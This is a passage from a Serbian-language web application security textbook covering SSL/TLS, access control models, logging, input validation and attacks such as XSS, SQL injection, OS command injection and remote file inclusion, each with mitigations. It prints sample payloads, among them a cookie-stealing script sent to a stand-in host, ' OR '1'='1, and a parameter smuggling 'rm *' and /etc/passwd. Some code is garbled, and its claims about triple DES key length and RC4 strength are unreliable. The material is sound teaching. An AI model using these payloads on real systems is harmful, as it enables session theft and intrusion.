3.3.SSL i TLS Secure Socket Layer (SSL) protokol je projektovan od strane Netscape-a, u okviru Netscape Communicator browsera. SSL je najšire upotrebljavan bezbednosni protokol, i kao takav on se ugrađuje u sve komercijalne Web browsere i Web servere. Kako je prvobitna verzija SSL-a tehnički bila vlasništvo Netscape-a, IETF (Internet Engeeniring Task Force) je preuzeo odgovornost za razvoj i unapređenje SSL-a i preimenovao ga u TLS (Transport Layer Security). Prva verzija TLS-a, verzija 3.1, sadrži samo neznatne izmene u odnosu na originalni SSL. SSL pruža tri bezbednosne usluge pri transportu podataka. To su: •autentifikacija, •poverljivost, •integritet podataka. 16
HTTPFTPSMTPSSL ili TSLTCPIP
Mesto SSL-a u okviru TCP/IP protokol steka Kao što se vidi na slici socket nivo je logički nivo između transportnog i aplikacionog nivoa u TCP/IP steku. Dakle, SSL radi na transportnom nivou neposredno iznad TCP. To znači da ga mogu koristiti svi protokoli aplikacionog nivoa koji za transport koriste TCP, a to su na primer HTTP, FTP, SMTP, POP3, IMAP, XMP RPC, SOAP i drugi. Nasuprot trvđenju koje se iznosi u mnogim marketingškim kampanjama, sam SSL Web aplikaciju ne čini bezbednom. Fraza “sajt je 100% bezbedan, koristimo” dovodi u zabludu. SSL pruža samo gore navadene usluge. SSL/TLS ne pruža nikakvu dodatnu bezbednost nakon što podaci napuste IP stek na bilo kom kraju konekcije. Nedostatke pri korišćenju SSL-a za sesijski transport nemoguće je otkloniti ili ublažiti upotrebom SSL-a. SSL koristi i javne ključeve i simetričnu kriptografiju. Često se može čuti pojam SSL setifikata. SSL sertifikat je u stvari X.509 sertifikat. Sertifikat je javni ključ kojeg je potpisao neki drugi poverljivi korisnik (sa dodatnim informacijama radi dokaza njegove validnosti). Zbog jednostavnosti, oba protokola SSL i TLS, ćemo u daljem tekstu označavati kao SSL.
3.3.1.Kako SSL i TLS rade? SSL ima dva osnovna načina rada. Prvi je kada se uspostavi SSL tunel i jedino je server autentifikovan, i drugi način kada su i server i klijent autentifikovani. U oba slučaja SSL se uspostavlja pre nego što počne HTTP transkacija. SSL koristi kombinaciju šifrovanja javnim ključem, simetričnog šifrovaja, kao i digitalnih sertifikata.
3.3.2.SSL pregovaranje sa autentifikacijom samo servera SSL pregovaranje sa autentifikacijom samo servera je postupak od devet koraka. 1.Prvi korak u procesu je kada klijent šalje serveru «Client Hello» poruku. Ova pozdravna poruka sadrži verziju SSL-a koju klijent podržava. 2.Server odgovara na pozdravnu poruku sa jednom od svojih poruka koja određuje verziju SSL protokola, šifru i dužinu ključa koji će se koristiti prilikom konverzacije, na osnovu ponuđenih vrednosti u okviru klijentske pozdravne poruke. 3.Server šalje digitalni sertifikat klijentu na uvid. Većina modernih browsera automatski proveravaju sertifikat (u zavisnosti od konfiguracije) i upozoravaju korisnika ako isti nije validan.
17
4.Server šalje «Server Done» poruku koja klijenta obaveštava da je server završio početni deo inicijalne sekvence. 5.Klijent generiše simetričan ključ i šifruje ga koristeći serverov javni ključ. 6.Klijent šalje «Cipher Spec» poruku koja serveru govori da sva buduća komunikacija treba da se vrši sa novim ključem. 7.Klijent sada šalje poruku o završetku koristeći novi ključ, pri čemu utvrđuje da li server može takvu poruku da dekodira, te da li je pregovaranje bilo uspešno. 8.Server šalje «Change Cipher Spec» poruku koja klijentu govori da sva buduća komunikacija treba da bude kriptovana. 9.Server šalje svoju «Finished» poruku kriptovanu sa novim ključem. Ako klijent može da pročita ovakvu poruku, znači da je pregovaranje uspešno završeno.
3.3.3.SSL sa klijentskom i serverskom autentifikacijom SSL pregovaranje sa obostranom autentifikacijom (sa klijentske i serverske strane) je proces od dvanaest koraka. Dodatni koraci su: 4) Server šalje zahtev za sertifikat nakon slanja svog sertifikata. 6) Klijent dostavlja svoj sertifikat 8) Klijent šalje poruku o proverenom sertifikatu u koju kriptuje deo poznatog teksta koristeći svoj tajni ključ. Server koristi klijentski sertifikat za dekriptovanje, i na osnovu toga ustanovljava da klijent ima ispravan tajni ključ.
Centralno pitanje svakog postupka za šifrovanje je mogućnost njegovog razbijanja, odnosno njegova snaga. Snaga postupka zavisi od primenjenog algoritma i dužine ključa. Najjači trenutno dostupan algoritam koji se koristi u okviru SSL-a je triple DES sa dužinom ključa od 128 bita. Drugi takođe vrlo snažan i zbog svoje brzine najviše rasprostranjen protokol je RC4 koji ima dužinu ključa od 128 bita.
18
4.KONTROLA PRISTUPA I AUTORIZACIJA Mehanizmi kontrole pristupa su neophodan i ključni element pri projektovanju bezbednosti svake Web aplikacije. Uopšteno gledano, Web aplikacija bi trebalo da štiti front-end i back-end podatke, kao i sistemske resurse ograničavanjem korisnikovih radnji, ograničavanjem pristupa resursima i ograničavanjem funkcija koje korisnik vrši nad podacima. U idealnom slučaju, kontrola pristupa bi trebalo da zaštiti podatke od neautorizovanog gledanja, menjanja i kopiranja. Pojmovi autorizacije i kontrole pristupa često se greškom zamenjuju. Autorizacija podrazumeva proveru da se vidi da li korisnik ima odgovarajuću dozvolu da pristupi određenom fajlu ili da izvrši određenu akciju, pod pretpostavkom da se prethodno uspešno autentifikovao. Autorizacija zavisi od specifičnih pravila liste kontrole pristupa koju unapred određuju administratori Web aplikacije ili vlasnici podataka. Tipična provera autorizacije uključuje ispitivanje članstva u određenoj grupi korisnika, posedovanje odgovarajućeg odobrenja, ili prisustvo korisnika na listi odobrenih korisnika resursa. Svaki mehanizam kontrole pristupa koji se koristi za autorizaciju, neposredno zavisi od efikasnih i zaštićenih kontrola autentifikacije. Kontrola pristupa odnosi se sveobuhvatniji način kontrolisanja pristupa Web resursima, uključujući ograničenja zasnovana na faktorima kao što su doba dana, IP adresa HTTP klijent browsera, domen HTTP klijent browsera, tip enkripcije koju HTTP klijent može da podrži, broj autetifikacija datog korisnika tog dana, posedovanje određenog broja hardverskih/ softverskih tokena, ili neka izvedena promenjiva koja se može sa lakoćom obraditi. U sferi bezbednosti informacionih sistema postoji obilje prihvaćenih modela kontrole pristupa. Mnogi od njih sadrže aspekte koji ih čine primenjivim u oblasti Web aplikacija. Uspešan mehanizam kontrole pristupa predstavljaće kombinaciju sledećih modela i biće upotrebljiv ne samo za upravljanje korisničkim nalozima, već i za razvoj i integraciju odrećenih funkcija aplikacije.
4.1.Diskretna kontrola pristupa Diskretna kontrola pristupa (DAC) podrazumeva ograničavanje pristupa informacijama na osnovu identiteta korisnika i pripadnosti određenim grupama. Odluka o pristupu je zasnovana na autorizaciji datoj korisniku na osnovu njegovih akreditiva (username, lozinka, hardverski/softverski token itd.) u trenutku autentifikacije. U većini DAC modela, vlasnik informacija i resursa je u mogućnosti da menja svoje dozvole po svom nahođenju. Loša strana DAC-a je to što administrator nije u mogućnosti da centralno menja dozvole nad fajlovima/podacima smeštenim na Web serveru. DAC model kontrole pristupa često ispoljava jednu ili više od sledećih osobina: -vlasnici podataka mogu međusobno da razmenjuju vlasništvo nad podacima sa ostalim korisnicima, -vlasnici podataka mogu da odrede vrstu pristupa datu ostalim korisnicima (read, write, copy, itd.), -višestruko neuspešno ponavljanje pokušaja autorizacije pristupa istom resursu ili objektu generiše alarm i/ili ograničava korisnikov pristup, 19
-specijalni add-on ili plug-in softver potreban HTTP klijentu da bi se korisniku onemogućilo neselektivno kopiranje (copy i paste), -korisnici koji nemaju pristup podacima ne bi trebalo da imaju mogućnost da menjaju atribute tih podataka (veličinu fajla, ime fajla, putanju direktorijuma itd.) -pristup informacijama je određen na osnovu liste kontrole pristupa koja se oslanja na idedntifikatore korisnika i na pripadanje korisnika određenim grupama.
4.2.Obavezna (Mandatory) kontrola pristupa Kod obavezne kontrole pristupa (MAC) sprovođenje bezbednosnih normi ne zavisi od samog korisnika Web aplikacije. MAC obezbeđuje informacije dodeljivanjem oznake osetljivosti informacijama i poređenjem nivoa osetljivosti koji je odobren korisniku. Uopšteno govoreći, MAC mehanizmi kontrole pristupa su sigurniji od ostalih mehanizama uz ustupak na račun performansi i udobnosti korisnika pri radu. MAC mehanizmi dodeljuju sigurnosni nivo svim informacijama, sigurnosno odobrenje svakom korisniku, i obebzbeđuju da svaki korisnik ima pristup samo onim informacijama za koje ima odobrenje. MAC je pogodan za upotrebu u sistemima izuzetno velike sigurnosti uključujući vojne aplikacije sa više nivoa sigurnosti. MAC model kontrole pristupa često ispoljava sledeće osobine: -isključivo administratori, a ne i vlasnici podataka, mogu da menjaju sigurnosnu oznaku resursa, -svim podacima je dodeljen sigurnosni nivo, -svi korisnici mogu da čitaju podatke niže poverljivosti od one što je korisnicima dodeljena ("poverljivi" korisnik može da čita dokumente koji nisu poverljivi), -svi korisnici mogu da pišu dokumente veće poverljivosti nego što im je dodeljena ("poverljivi" korisnik može da proglasi informaciju strogo poverljivom), -svim korisnicima je dozvoljeno čitanje/pisanje nad dokumentima iste poverljivosti koja im je dodeljena ("poverljivi" korisnik ima čitaj/piši pristup samo nad poverljivim dokumentom), -pristup je autorizovan ili ograničen objektima u zavisnosti od doba dana u skladu sa sigurnosnim oznakama resursa i akreditivima korisnika, -pristup je autorizovan ili ograničen objektima u zavisnosti od sigurnosnih karakterstika HTTP klijenta (npr. SSL dužina bita, informacije o verziji, IP adresa ili domen, itd.).
4.3.Kontrola pristupa zasnovana na ulogama (RBAC) Kod kontrole pristupa zasnovane na ulogama odluke su zasnovane na korisnikovim individualnim ulogama i odgovornostima unutar organizacije ili korisničke baze. Proces definisanja uloga zasnovan je na analiziranju fundamentalnih ciljeva i strukture organizacije i obično je povezano sa bezbednosnim normama. Na primer, u zdravstvenim organizacijama uloge koje imaju korisnici mogu biti doktor, sestra, pacijent itd. Očigledno, ovi korisnici zahtevaju različite nivoe pristupa pri vršenju svojih funkcija, ali i tipovi Web transakcija kao i njihov dozvoljeni sadržaj u varira u zavisnosti od bezbednosnih normi i relevantnih pravila.
20
RBAC metod kontrole pristupa treba da administatorima Web aplikacija da mogućnost određivanja ko može da vrši koju akciju, kada, odakle, kojim redosledom i pod kojim relacionim okolnostima. RBAC model kontrole pristupa pokazuje sledeće osobine: -uloge se dodeljuju u zavisnosti od organizacione strukture sa naglaskom na organizacione bezbednosne norme, -uloge dodeljuje administrator na osnovu relativnih odnosa unutar organizacije ili korisničke baze, -svaka uloga označava profil koji uključuje sve autorizovane komande, transakcije, dozvoljen pristup informacijama, itd. -ulogama su dodeljena odobrenja po principu najmanje privilegije, -uloge se aktiviraju statički i dinamički u skladu sa odgovaarajućim relacionim trigerima (upit za help, bezbednosni alarm, iniciranje novog projekta, itd.), -ulogama centralno upravlja administrator ili vođa projekta.
21
5.PRAĆENJE RADA - Event Logging Logging je neophodan za dobijanje ključnih informacija o bezbednosti, koje se odnose na Web aplikaciju i njene prateće procese. Stvaranje detaljnih log zapisa o pristupu i transakcijama je važno iz više razloga: -log zapisi su često jedini zapis koji ukazuje da postoji sumnjivo ponašanje, i u nekim slučajevima se mogu u realnom vremenu diretko unositi u sisteme za deteketovanje neovlašćenog upada, -log zapisi omogućuju uvođenje individulne odgovornosti praćenjem korisnikovih akcija, -log zapisi su korisni prilikom rekonstrukcije događaja nakon pojave problema, vezanih za bezbednost ili problema uopšte. Rekonstrukcija događaja daje bezbednosnom administratoru potpun uvid u sve aktivnosti uljeza. -log zapisi su neretko opotrebljavaju u sudskim procesima kao dokaz zloupotrebe. U ovom slučaju obrada log zapisa je od klujčne važnosti. Nedostatak ili neadekvatna upotreba mehanizama za stvaranje log zapisa umanjuje mogućnost otkrivanja neautorizovanih pokušaja pristupa i ne pruža informaciju koji su od tih pokušaja bili uspešni.
5.1.Šta uneti u log zapis Uopšteno govoreći, stvaranje log zapisa treba da obuhvati infomacije korisne za otklanjanje grešaka, kao što su vreme događaja, iniciranje, poreklo, kao i detaljan opis procesa. Preporučljivo je beležiti sledeće tipove događaja u aplikacijama: -čitanje podataka, -upis podataka, -izmena bilo kakvih karakteristika podataka, treba da bude obuvhaćena logom, uključujući dozvole ili oznake kontrole pristupa, lokacija u okviru baza podataka ili vlasništvo nad podacima, -u slučaju brisanja bilo kakih podataka treba napraviti log zapis, -za mrežnu komunikaciju treba napraviti log u svakoj tački komunikacije (bind, connect, accept, itd.), -sve događaje vezane za autentifikaciju (logovanje, odjavljivanje, neuspelo logovanje, itd.), -svi neautorizovani pokušaji treba sadrže vreme, informaciju o uspešnosti, resurse ili funkcije koje su bile autorizovane kao i identifikaciju korisnika koji je pokušao autorizaciju, -sve administativne funkcije (rad sa korisničkim nalozima, razgledanje korisničkih podataka, omogućavanje i onemogućavanje logovanja, itd.) -raznovrsne informacije vezane za otklanjanje grešaka.
22
5.2.Obrada log zapisa Efikasna obrada i skadištenje log zapisa je važna za pravilno korišćenje mogućnosti Web servera i aplikacija koje se odnose na logging. Nepravilna obrada i skladištenje informacija od strane mehanizama za logging može dovesti do gubitka ovih podataka i njihove neupotrebljivosti za dalje naknadne analize ili ih učiniti pravno neupotrebljivim. U idealnom slučaju log zapise bi trebalo prikupljati i organizovati na posebno dodeljenom logging hostu. Mrežne konekcije, kao i sadržaj log zapisa trebalo bi enkriptovati tako da se zaštiti poverljivost i integritet podataka koliko je to moguće. Atributi log zapisa treba da budu takvi da je moguće samo dodavanje novih informacija (stari unosi ne mogu se prepravljati ili brisati). U skladu sa prethodnim, log zapise bi trebalo skladištiti na uređajima koji omogućuju jedan upis i više isčitavanja, kao što je CD-R. Kopije log zapisa bi trebalo praviti u pravilnim vremenskim intervalima u zavisnosti od količine podataka u logu i same njegove veličina (dnevno, nedeljno, mesečno itd). Radi lakšeg indeksiranja potrebno je usvojiti konvenciju u nazivima log zapisa. Log fajlove bi trebalo kopirati i skladištiti na trajne medijume i čuvati u skladu sa opštim pravilima vaše organizacije o bekapovanju. Log fajlove i medijume na kojima se oni nalaze treba brisati i uništavati u skladu sa politikom vaše organizacije za odlaganje i uništavanje medija bezbednosno osetljivog sadržaja. Potrebno je praviti izveštaje uključujući izveštaje o greškama i o detektovanim anomalijama. Log zapisi se mogu unositi u realnom vremenu u sistem za detekciju upada, kao i u alatke za nadzor sistema i performansi. Sve komponente logovanja treba da budu sinhronizovane sa vremenskim serverom , tako da svi log zapisi mogu biti obrađeni bez grešaka usled kašnjenja. Ovaj vremenski server treba da bude dodatno zaštićen i ne treba da pruža nikakve dodatne usluge unutar mreže.
23
6.VALIDACIJA PODATAKA Najveći deo napada na sistem se može sprečiti, ili se opasnost od njihove pojave može značajno smanjiti odgovarajućom validacijom podataka.Validacija podataka je jedan od ključnih aspekata pri projektovanju Web aplikacije. Kada govorima o validaciji podataka mislimo kako na unos podataka u aplikaciju, tako i na «skidanje» podataka sa aplikacije.
6.1.Strategije validacije Strategija validacije podataka je usko povezana sa arhitekturom same aplikacije. Ako je aplikacija već u postupku izrade, projektovanje optimalne arhitekture biće znatno teže nego u slučaju kada je aplikacija tek u fazi projektovanja. U slučaju da sistem zahteva tipičan sistematičan pristup u pružanju osnovnih usluga, tada jedna od komponenti može da filtrira sve ulaze i izlaze, i na taj način optimizuje pravila i smanji trud. Postoje tri osnovna modela koja se razmatraju prilikom projektovanja strategije validacije podataka: -prihvatanje samo onih podataka za koje se zna da su validni, -odbacivanje podataka za koje se zna da nisu validni, -saniraranje podataka koji nisu validni. Treba istaći da je prva strategija daleko najbolja. Moramo priznati da ona nije uvek izvodljiva zbog finansijskih ili tehničkih razloga, tako da ćemo opisati i druge dve strategije. Sve tri metode treba da provere: -tip podataka, -sintaksu, -dužinu. Provera tipa podataka je od izuzetne važnosti. Na primer, aplikacija treba da proveri da li su poslati brojni podaci a ne stringovi.
6.1.1.Prihvati samo poznate validne podatke Kao što je rečeno, ovo je najpoželjniji način validacije podataka. Aplikacija prihvata samo očekivani unos, za koji se zna da je bezbedan. Na primer, pretpostavimo sistem za postavljanje uzima username kao ulaz. Validno korisničko ime se može definisati kao skup ASCII karaktera A-Z i 0-9. Aplikacija treba da proveri da li se ulazni string sadrži od karaktera A-Z i 0-9 i da li njegova dužina ne prelazi dozvoljenu.
24
6.1.2.Odbaci podatke za koje se zna da nisu validni Ova strategija je zasnovana na činjenici da je aplikacija upoznata sa specifičnim malicioznim paketima. Iako je tačno da ovakva strategija može da ograniči otkrivanje, veoma je teško održavati ažurnom bazu podataka koja sadrži podatke o karakteristikama napada na Web aplikacije.
6.1.3.Saniraj sve podatke Pokušaj da se loši podaci učine bezopasnim je efikasan kao pomoćna metoda odbrane, posebno kada je kombinovana sa obacivanjem podataka koji nisu validni. Međutim, kako je opisano u prethodnom paragrafu, ovakav način je izuzetno težak i ne treba ga koristiti kao osnovno sredstvo zaštite.
6.2.Nikada se ne oslanjati na validaciju podataka sa strane klijenta Validacija sa strane klijenta uvek može biti premošćena. Validacija svih podataka mora se obavljati na poverljivom serveru ili pod kontrolom aplikacije. U slučaju validacije podataka sa strane klijenta, napadač može da prati povratne vrednosti, te da ih menja po svojoj volji. Ovo izgleda iznenađujuće jednostavno, pa ipak, mnogo sajtova još uvek vrši validaciju korisnika, uključujući logovanje, koristeći samo kod sa strane klijenta, kao što je JavaScript. Validacija sa strane klijenta, sa strane jednostavnosti i lakoće upotrebe, je prihvatljiva, ali se ne može smatrati pravim postupkom validacije. Svaka validacija trebalo bi da se odvija isključivo na strani servera, a da se na strani klijenta izvršava samo površna kontrola.
25
7.BEZBEDNOSNI PROBLEMI PRI RADU WEB APLIKACIJA 7.1.Napadi na korisnike 7.1.1.Cross-site scripting Cross-site scripting je privukao veliku pažnju javnosti. Ime potiče od CERT saveta, CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests (http://www.cert.org/advisories/CA-2000-02.html). Napadi se uvek odnose na korisnike sistema, a nikada na sam sistem. Naravno, ako je korisnik administrator sistema to je sasvim druga priča. Sam postupak napada biće predstavljen preko sledećeg primera. Korisnik se prevarom navodi da napravi specifičan i pažljivo projektovan HTTP zahtev. Napadač je prethodno otkrio aplikaciju koja ne filtrira ulaz, te će vratiti korisniku traženu stranicu sa dodatim malicioznim kodom koji je dodat sa zahtevom. Kada Web server primi zahtev za stranicom on šalje traženu stranicu zajedno sa delom koda koji je tražen. Kada korisnikov browser primi novu stranicu, maliciozni kod se raspakuje i izvršava. Moderni skript jezici, koji se izvršavaju sa klijentske strane, više ne vrše samo formatiranje strana, nego su sposobni da izvršavaju veći broj akcija. Klijenti prevarom mogu biti uvučeni u izvršavanje većeg broja različitih funkcija što može biti opasno. Ako napadač odabere Web aplikaciju za koju je korisnik autentifikovan, skript može da vrši funkcije u ime korisnika. Napad se odvija na taj način da napadač, kroz propuste u samom skriptu, preko Web servera, korisniku (koji je meta napada) pošalje stranicu koju je korisnik i zahtevao, međutim, koja je ujedno i zaražena malicioznim kodom. Maliciozni kod se tada pokreće uz odobrenje legalnog skripta poslatog sa legitimnog Web servera. Kroz sledeći primer biće prikazani mogući propusti u PHP aplikacijama koji dozvoljavaju CSS napade. Pretpostavka je da je korisnik prošao fazu autentifikacije i sesija je započeta, tako da korisnik poseduje validni sesijski token. Korisnik upotrebljava Web aplikaciju namenjenu pregledanju elektronske pošte. Ukoliko se prilikom ispisa naslova svake pojedine poruke, on ispisuje bez proveravanja, postoji mogućnost CSS napada. Deo koda namenjen za ispis je:
"
".
$naslov.
"
";
U ovom slučaju napadač može naslovu poruke elektronske pošte pridružiti JavaScript kod koji je dizajniran da otuđi korisnikov sesijski token. Kada korisnik zatraži stranicu koja ispisuje poruke elektronske pošte, JavaScript kod će se automatski pokrenuti i preusmeriti korisnika na specificiranu URL adresu, zajedno sa sesijskim 26
tokenom. Napadač mora proveriti zapise koji su pristigli na ovakav načini i može preuzeti korisničku sesiju. JavaScript kod koji bi omogućio opisan način napada mogao bi izgledati ovako: <script> self.location.href=http://www.nesiguran.com/getCookie?cookies=+escape(document. cookie)
Mitigation Techniques (tehnike ublažavanja) Sprečavanje cross site scriptinga je zahtevan zadatak posebno za široko distribuirane Web aplikacije. Sa stanovišta arhitekture, ako svi zahtevi dolaze na centralnu lokaciju i odlaze sa centralne lokacije, problem je lakše rešiti opštom komponentom. Ako prihvatite preporučenu strategiju validacije, tj. prihvata se samo očekivan ulaz, problem se znatno smanjuje (osim u slučaju kada je potrebno da HTML bude ulaz). Moramo naglasiti da je ova strategija daleko najbolja. U PHP-u, ovakva ranjivost bi se mogla ispraviti upotrebom htmlspecialchars() funkcije, koja konvertuje specijalne karaktere u HTML entitete. U ovom konkretnom primeru, biće konvertovani karakteri < i > u njihove odgovarajuće entitete: < i >. Prilikom učitavanja Web stranice ništa se neće dogoditi jer će ovi entiteti korisnikovom Web browseru ukazivati na običan tekst a ne specijalne karaktere. http://www.cert.org/tech_tips/malicious_code_mitigation.html
27
7.2.Napadi na sistem 7.2.1.Direktne SQL naredbe Kod nekih aplikacija se ne vrši validacija korisničkog unosa, što znači da je zlonamernom korisniku omogućen direktan pristup bazi podataka. Ovakav napad, poznat kao SQL injection, je iznenađujuće jednostavan. Pretpostavimo da Web aplikacija dopušta korisniku izmenu lozinke, što je slučaj sa većinom Web aplikacija. Korisnik se loguje i kreće kroz stranicu sa opcijama za korisnčki nalog, odabira promenu lozinke, zatim unosi staru i novu lozinku, dva puta zbog sigurnosti . Korisniku je naizgled ovo sasvim jasan proces. Kada korisnik unese staru i dva puta novu lozinku u Web obrazac, browser upućuje HTTP zahtev Web aplikaciji i šalje joj podatke. Zbog zaštite podataka u tranzitu, ovo bi trebalo da se vrši preko SSL-a. Tipičan kod za autentifikaciju bi izgledao ovako: $sql="SELECT * FROM users WHERE username='$username' AND password='$password'"; $res = $conn->Execute($sql); if ($res->RecordCount()==0) $boolAuthenticated=false; else $boolAuthenticated=true;
Korisnik je preko forme poslao serveru svoje korisničko ime i lozinku koji se unose u SQL upit i prosleđuju bazi podataka. U bazi podataka se proverava da li postoji slog koji sadrži zadate akreditive. U slučaju da postoji, korisnik je prošao autentifikaciju. Ukoliko je korisnik u formu za autentifikaciju uneo sledeći kod: Korisničko ime: ' OR '1'='1 Lozinka: ' OR '1'='1
Vrednost promenljive $sql će biti: $sql="SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'";
Što znači da će aplikacija smatrati korisnika autentifikovanim jer je uslov '1'='1' uvek ispunjen. Posledice su razarajuće. Napadač je u mogućnosti da menja administratorske lozinke po svom nahođenju, onemogućavajući pristup pravim vlasnicima sistema i otvarajući sebi neograničen pristup. Loše projektovana Web aplikacija omogućava hakerima da proizvoljno skidaju prvobitni i postavljaju svoj sadržaj na službenim sistemima. U prethodnom primeru upotrebljena je tehnika ubacivanja dodatnog upita na prvobitni upit bazi podataka. SQL injection može da se upotrebi i za: -izmenu SQL vrednosti, -proširivanje SQL izraza, -dodavanje funkcija poziva i procedura za skladištenje postojećim SQL naredbama, -modifikacija izlaznih podataka. 28
Izmena SQL vrednosti: UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';
Tehnike ublažavanja Sprečavanje SQL injection-a je zahtevan zadatak posebno za velike Web sisteme, sastavljene iz više aplikacija. Filtriranje SQL naredbi neposredno pre izvršavanja smanjuje rizik od pogrešnog filtriranja. Primena preporučene strategije za validaciju ulaznih podataka značajno smanjuje problem, međutim ovakav pristup ne može da zaustavi sve SQL injection napade. Pored toga mogu se javiti teškoće pri implementaciji u slučaju kada algoritam filtriranja treba da odluči da li dotični podaci treba da postanu deo upita ili ne, a potrebno je da algoritam prepozna na koju bazu podataka se takav upit odnosi. Na primer, korisnik koji u obrazac unese prezime “O’Neil” ujedno unosi i specijalan metakarakter (’). Unos ovakvog karaktera mora biti dozvoljen pošto je to sastavni deo imena. Međutim, ne može se dozvoliti da ovakav karakter postane deo upita za bazu podataka, te njegovo izbegavanje može biti neophodno. Različite baze podataka zahtevaju da se različiti karakteri izbegavaju na razne načine, te je potrebno za svaku bazu poznavati karaktere koje je potrebno sanirati. Korisni linkovi:
7.2.2.Direktne OS naredbe Skoro svi programski jezici dopuštaju upotrebu tzv. sistemskih naredbi, pa i kod mnogih aplikacija sreće se ovakva funkcionalnost. Sistemski interfejs u programskom i skript jeziku prepušta unos (naredbe) samom operativnom sistemu. Operativni sistem izvršava dati unos i vraća odgovarajući izlaz na stdout zajedno sa različitim povratnim kodovima kao što su “uspešno”, “neuspešno”, itd. Sistemske naredbe mogu da budu veoma ugodna alatka za rad, koje se uz malo truda mogu integrisati u aplikaciju . Najčešća primena ovih naredbi u Web aplikacijama je manipulacija fajlovima (uklanjanje, kopiranje), slanje email-ova i pozivanje alatki operativnog sistema u cilju različitih izmena na ulazu i izlazu (filtriranje) aplikacija. Izvršavanje spoljšnjih programa sa imenima ili argumentima specificiranim od strane korisnika je najbolja ilustracija direktne štete koju neovlašćeni korisnik može izazvati pozivom direktnih OS naredbi. Funkcije koje se koriste u PHP skript jeziku prilikom poziva spoljašnjih programa su sledeće: •exec() - izvršava naredbu u argumentu i vraća zadnju liniju izlaza programa, •passthru() - izvršava naredbu u argumentu i vraća sav generisani izlaz programa direktno u udaljeni Web browser, •system() - kao i passthru (), ali ne podržava binarne podatke, •popen() - izvršava naredbu u argumentu. Nekad je poziv spoljašnjih programa neophodan, međutim ove funkcije predstavljaju vrlo visok bezbednosni rizik u kombinaciji s korisničkim unosom. U uputstvima za PHP jezik, koje se odnose na ove funkcije, stoji upozorenje da ukoliko se funkcijama predaju podaci uneseni od strane korisnika, potrebno je koristiti escapeshellarg() ili escapeshellcmd() funkcije. Poziv funkcije system($unos_korisnika) je nesiguran jer dozvoljava korisniku da izvršava proizvoljne naredbe na Web serveru. Dalje, poziv funkcije poput: exec ('program'` , $arg_korisnika);
dozvoljava korisniku upotrebu znakova koji imaju specijalno značenje. Ovakvi pozivi su vrlo opasni jer PHP uvek prosleđuje ovakve nizove direktno na izvršavanje. U sledećem primeru prikazano je nepravilno korišćenje popen() funkcije:
30
Korisnik može kontrolisati sadržaj promenljive $to kroz sledeći upit: http://www.primer.com/posalji.php?to=korisnik%40nesiguran.com+%3C+% 2Fpass wd%3B+rm+%2A
Kreativniji napadači mogu čak napisati i virus, pa ga na ovaj način ubaciti u sistem. Rešenje ovog problema je pažljivo filtriranje korisničkog unosa pre predavanja koda interpreteru. Upravo zato je neophodno korištenje escapeshellarg() i escapeshellcmd() funkcija. Konkretno rešenje prethodnog primera bilo bi:
7.2.3.Otkrivanje putanje dokumenta Mnoge Web aplikacije koriste sistemske fajlove Web servera da bi privremeno i/ili trajno skladištile informacije. WWW-ROOT je tipičan virtualni direktorijum u Web serveru koji je dostupan HTTP klijentu. Web aplikacije mogu da skladište podatke u i/ili van WWW-ROOT direktorijuma u za to predviđenim lokacijama. Ako aplikacija ne vrši pravilno proveru i obradu meta-karaktera za opis putanje (path) npr. “../” moguće je da je aplikacija osetljiva na “path traversal” napad. Napadač može da izradi maliciozan zahtev za podacima o fizičkoj lokaciji fajlova kao što su /etc/passwd itd. Ovo se često naziva kao ranjivost “otkrivanja fajlova”. Napadač može isto tako da upotrebi ove osobine za stvaranje specijalno pravljenih URL-a. Path traversal napadi se obično koriste zajedno sa napadima poput direktnih OS naredbi ili direktnih SQL injection.
7.2.4.Uključivanje udaljenih datoteka Mnogi skript i progragmski jezici omogućavaju uključivanje u programski kod lokalnih i udaljenih datoteka. U PHP-u se to vrši uz pomoć include(), include_once() , require() i require_once() funkcija. Ove funkcije kao argument uzimaju naziv datoteke, te ih parsuju kao PHP kod. Ova mogućnost dozvoljava, na primer, odvajanje datoteka koje služe za klase, kod koji se često koristi, itd. Uveliko pomažu i pri održavanju i čitljivosti koda. Koncept uključivanja udaljenih datoteka je vrlo opasan, jer dozvoljava ubacivanje nepoznatog i moguće opasnog koda direktno u programski kod. U sledećem primeru uključivanje datoteke zavisi od korisničkog unosa. Skript ima više HTML datoteka te se kroz promenljivu $stranica vrši njihovo prikazivanje zavisno od odabranog redosleda: 31
Preko HTTP GET metoda, promenljiva $stranica se može postaviti na željenu vrednost. http://www.primer.com/okvir.php?stranica=/etc/passwd
pri čemu kod.html sadrži nekoliko linija koda koje mogu biti štetne na strani servera:
*') ;
U sljedećem primjeru uključena datoteka ne bi trebalo da zavisi od korisničkog unosa. Promenljiva $libdir sadrži informaciju o direktorijumu u kojem su smeštene biblioteke, te se postavlja negde ranije u kodu:
($libdir.'stil.php');
Napadač može kroz delovanje na promenljivoj $libdir promeniti putanju u kojoj će PHP interpreter tražiti datoteku stil.php. Napadač sada ima pristup datoteci stil.php, ukoliko je promenio putanju tako da ona pokazuje na njegov lokalni sistem http://www.nepoznato.com. Potrebno je napraviti datoteku stil.php i u nju zapisati kod koji se želi izvršiti na udaljenom serveru. Kao primer može poslužiti sledeći deo koda:
/etc/passwd");
Prilikom nailaska na funkciju include(), PHP interpreter će poslati HTTP zahtev na adresu www.nepoznato.com, uključiti kod koji je napadač pripremio i izvršiti ga, što će uzrokovati izlistavanje datoteke /etc/passwd na Web browseru napadača.
7.2.5.Nulti bajtovi Iako se većina Web aplikacija razvija sa najraznovrsnijim programskim jezicima, sve te aplikacije često prepuštaju podatke osnovnim (underlying) C-funkcijama radi dalje obrade i fukcionalnosti. U slučaju da je string, npr. “AAA\0BBB” prihvaćen od Web aplikacije (ili od strane specijalnog programskog jezika) kao validan string, on se može skratiti osnovnom C-funkcijom. Ovo je moguće pošto C shvata nulti bajt (\0) kao završetak stringa. Aplikacije koje ne vrše adekvatnu validaciju ulaznih podataka, mogu se praveriti ubacivanjem nultih bajtova u “kritične” parametre. Ovo se obično postiže URL
32
